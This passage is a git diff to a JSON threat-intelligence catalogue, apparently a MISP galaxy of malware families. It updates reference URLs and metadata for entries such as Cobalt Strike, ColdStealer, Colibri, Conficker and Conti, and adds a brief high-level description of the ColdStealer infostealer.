"https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://cert.gov.ua/article/619229", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://blog.exatrack.com/melofee/", + "http://blog.nsfocus.net/murenshark", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://community.riskiq.com/article/f0320980", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", + "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", + "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-148a", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://security.macnica.co.jp/blog/2022/05/iso.html", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware", + "https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://401trg.com/burning-umbrella/ ", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://isc.sans.edu/diary/rss/27176", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", + "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://www.youtube.com/watch?v=gfYswA_Ronw", + "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", + "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", + "https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/", + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + 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"https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.zsec.uk/cobalt-strike-profiles/", + "https://blog.macnica.net/blog/2020/11/dtrack.html", + "https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine", + "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", + "https://www.cobaltstrike.com/support", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://thedfirreport.com/2022/03/07/2021-year-in-review/", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://blog.group-ib.com/REvil_RaaS", + "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", + "https://mez0.cc/posts/cobaltstrike-powershell-exec/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", - "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt" + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", + "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", + "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", + "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", + "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + 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"https://www.mandiant.com/resources/evolution-of-fin7", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://isc.sans.edu/diary/rss/26862", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://isc.sans.edu/diary/26752", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/", + "https://malwarelab.eu/posts/fin6-cobalt-strike/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://asec.ahnlab.com/ko/19640/", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://github.com/dodo-sec/Malware-Analysis/blob/main/Cobalt%20Strike/Indirect%20Syscalls.md", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", + "https://www.splunk.com/en_us/blog/security/cloud-federated-credential-abuse-cobalt-strike-threat-research-feb-2021.html", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book", + "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://twitter.com/alex_lanstein/status/1399829754887524354", + "https://blog.group-ib.com/colunmtk_apt41", + "https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/", + "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + 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"https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://attack.mitre.org/groups/G0096", + "https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a", + 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "333e2e87-b9b0-4e2e-9ed9-7259c55a93db", "value": "Coinminer" }, @@ -17835,11 +18936,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal", + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html", - "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", "https://www.youtube.com/watch?v=242Tn0IL2jE", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/" + "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", + "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html" ], "synonyms": [ "ColdSeal" @@ -17850,12 +18951,13 @@ "value": "Cold$eal" }, { - "description": "", + "description": "ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer", "https://asec.ahnlab.com/ko/31703/", - "https://asec.ahnlab.com/en/32090/" + "https://asec.ahnlab.com/en/32090/", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/" ], "synonyms": [], "type": [] @@ -17868,10 +18970,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri", + "https://github.com/Casperinous/colibri_loader", "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://fr3d.hk/blog/colibri-loader-back-to-basics", - "https://github.com/Casperinous/colibri_loader" + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign" ], "synonyms": [], "type": [] @@ -17884,6 +18988,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", "https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/" ], "synonyms": [ @@ -17899,8 +19004,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony", - "https://pastebin.com/GtjBXDmz", "https://twitter.com/anyrun_app/status/976385355384590337", + "https://pastebin.com/GtjBXDmz", "https://secrary.com/ReversingMalware/Colony_Bandios/" ], "synonyms": [ @@ -17935,15 +19040,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fa38b79c-9774-45a0-831c-24c6c8d39a22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2b71a966-da08-4467-a785-cb6abf2fa65e", "value": "Combos" }, @@ -17953,10 +19049,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker", "https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/", + "https://www.anquanke.com/post/id/230161", "https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/", - "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/", "https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/", - "https://www.anquanke.com/post/id/230161" + "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/" ], "synonyms": [], "type": [] @@ -17991,13 +19087,26 @@ "uuid": "7726de54-95cc-4783-b26f-79882f0f6cba", "value": "ComLook" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic", + "https://securelist.com/bad-magic-apt/109087/?s=31" + ], + "synonyms": [], + "type": [] + }, + "uuid": "600b553b-660b-4bbd-9c5d-4e91af9d276a", + "value": "CommonMagic" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec", - "https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf" + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt" ], "synonyms": [], "type": [] @@ -18010,26 +19119,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun", - "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://securelist.com/compfun-successor-reductor/93633/", "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://securelist.com/compfun-http-status-based-trojan/96874/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://securelist.com/compfun-successor-reductor/93633/" ], "synonyms": [ "Reductor RAT" ], "type": [] }, - "related": [ - { - "dest-uuid": "b2c2d42b-a6a3-4ab0-a013-eb1c7461aca9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "541d5642-0648-4b5a-97b9-81110f273771", "value": "COMpfun" }, @@ -18038,10 +19138,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace", + "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/", "https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html", "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/" + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "lojack" @@ -18083,15 +19183,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker", - "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", - "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", - "https://www.minitool.com/backup-tips/conficker-worm.html", - "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "http://contagiodump.blogspot.com/2009/05/win32conficker.html", "https://github.com/tillmannw/cnfckr", - "https://redcanary.com/blog/intelligence-insights-january-2022/" + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", + "https://www.minitool.com/backup-tips/conficker-worm.html", + "http://contagiodump.blogspot.com/2009/05/win32conficker.html", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", + "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", + "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" ], "synonyms": [ "Kido", @@ -18108,10 +19208,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius", - "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/" + "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/", + "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html" ], "synonyms": [], "type": [] @@ -18124,188 +19224,197 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti", - "https://github.com/TheParmak/conti-leaks-englished", - "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", - "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", - "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", - "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", - "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", - "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://www.mbsd.jp/research/20210413/conti-ransomware/", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", - "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", "https://securelist.com/luna-black-basta-ransomware/106950", - "https://twitter.com/TheDFIRReport/status/1498642512935800833", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - 